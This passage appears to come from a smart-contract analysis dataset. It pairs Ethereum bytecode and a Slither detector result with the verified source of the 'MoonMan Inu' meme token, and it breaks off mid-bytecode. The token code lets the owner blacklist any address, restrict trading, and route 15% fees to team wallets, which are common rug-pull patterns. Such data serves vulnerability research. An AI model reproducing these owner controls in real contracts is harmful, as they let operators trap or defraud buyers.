0c24565b005b34801561031c57600080fd5b5061035b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610da2565b604051808215151515815260200191505060405180910390f35b34801561038157600080fd5b506103b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611033565b6040518082815260200191505060405180910390f35b3480156103d857600080fd5b50610473600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929050505061107b565b604051808215151515815260200191505060405180910390f35b34801561049957600080fd5b506104a26113b8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104f057600080fd5b506104f96113de565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053957808201518184015260208101905061051e565b50505050905090810190601f1680156105665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561058057600080fd5b50610589611417565b6040518082815260200191505060405180910390f35b3480156105ab57600080fd5b506105ea600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061141d565b604051808215151515815260200191505060405180910390f35b34801561061057600080fd5b5061064f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114ce565b604051808215151515815260200191505060405180910390f35b34801561067557600080fd5b506106ca600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ca565b6040518082815260200191505060405180910390f35b3480156106ec57600080fd5b50610721600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611751565b005b6040805190810160405280600d81526020017f4f4b4249636f6d6d756e6974790000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561089557600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108e257600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561096d57600080fd5b6109be826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a990919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a51826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b2282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b610c2133826118de565b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c8057600080fd5b60001515600360169054906101000a900460ff161515148015610caa57506303c267006004540142115b15610ce757610cc73033601260ff16600a0a6302faf08002611a91565b6001600360166101000a81548160ff021916908315150217905550610da0565b60001515600360159054906101000a900460ff161515148015610d1157506301e133806004540142115b15610d4e57610d2e3033601260ff16600a0a6305f5e10002611a91565b6001600360156101000a81548160ff021916908315150217905550610d9f565b60001515600360149054906101000a900460ff1615151415610d9e57610d823033601260ff16600a0a6305f5e10002611a91565b6001600360146101000a81548160ff0219169083151502179055505b5b5b565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610eb3576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f47565b610ec683826118a990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110dd57600080fd5b600086511180156110ef575084518651145b15156110fa57600080fd5b60009250600091505b845182101561114557611136858381518110151561111d57fe5b90602001906020020151846118c290919063ffffffff16565b92508180600101925050611103565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561119257600080fd5b600090505b85518110156113185761121f85828151811015156111b157fe5b9060200190602002015160008089858151811015156111cc57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c290919063ffffffff16565b600080888481518110151561123057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550858181518110151561128657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87848151811015156112ec57fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050611197565b611369836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a990919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001935050505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f4f4b42490000000000000000000000000000000000000000000000000000000081525081565b60055481565b60008273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156114a75750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b156114bb576114b4611cfa565b90506114c8565b6114c58383611ec2565b90505b92915050565b600061155f82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117ad57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156117e957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156118b757fe5b818303905092915050565b600081830190508281101515156118d557fe5b80905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561192b57600080fd5b61197c816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119d3816001546118a990919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611ade57600080fd5b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515611b6a57600080fd5b611bbb816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c4e816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080620151806005544203811515611d0f57fe5b0490506000811115611eba5780620151800260055401600581905550611d4e81601260ff16600a0a6205043f02026001546118c290919063ffffffff16565b600181905550611dd581601260ff16600a0a6205043f0202600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c290919063ffffffff16565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83601260ff16600a0a6205043f02026040518082815260200191505060405180910390a35b600191505090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611eff57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611f4c57600080fd5b611f9d826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a990919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612030826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820b182d72b50ba4740d7c4b40ba4fd43c8f7e0c68835a58686df31f5da0462cb490029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
3,090
0x7f7e02dcbccf58f93d717beb23c74b176567ce2e
/** *Submitted for verification at Etherscan.io on 2021-06-23 */ /* _____ _____ / \ ____ ____ ____ / \ _____ ____ / \ / \ / _ \ / _ \ / \ / \ / \\__ \ / \ / Y ( <_> | <_> ) | \/ Y \/ __ \| | \ \____|__ /\____/ \____/|___| /\____|__ (____ /___| / \/ \/ \/ \/ \/ */ // MoonMan Inu | $MoonMan // Telegram: https://t.me/MoonManInu // Fair Launch, no Presale/Dev Tokens. 100% LP. // Bots will be fucked. // LP Lock immediately after launch. // Ownership will be renounced 30 minutes after launch. // Slippage Recommended: 15%+ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MoonManInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "MoonMan Inu"; string private constant _symbol = "MoonMan \xF0\x9F\x8C\x9D"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600b81526020017f4d6f6f6e4d616e20496e75000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f4d6f6f6e4d616e20f09f8c9d0000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000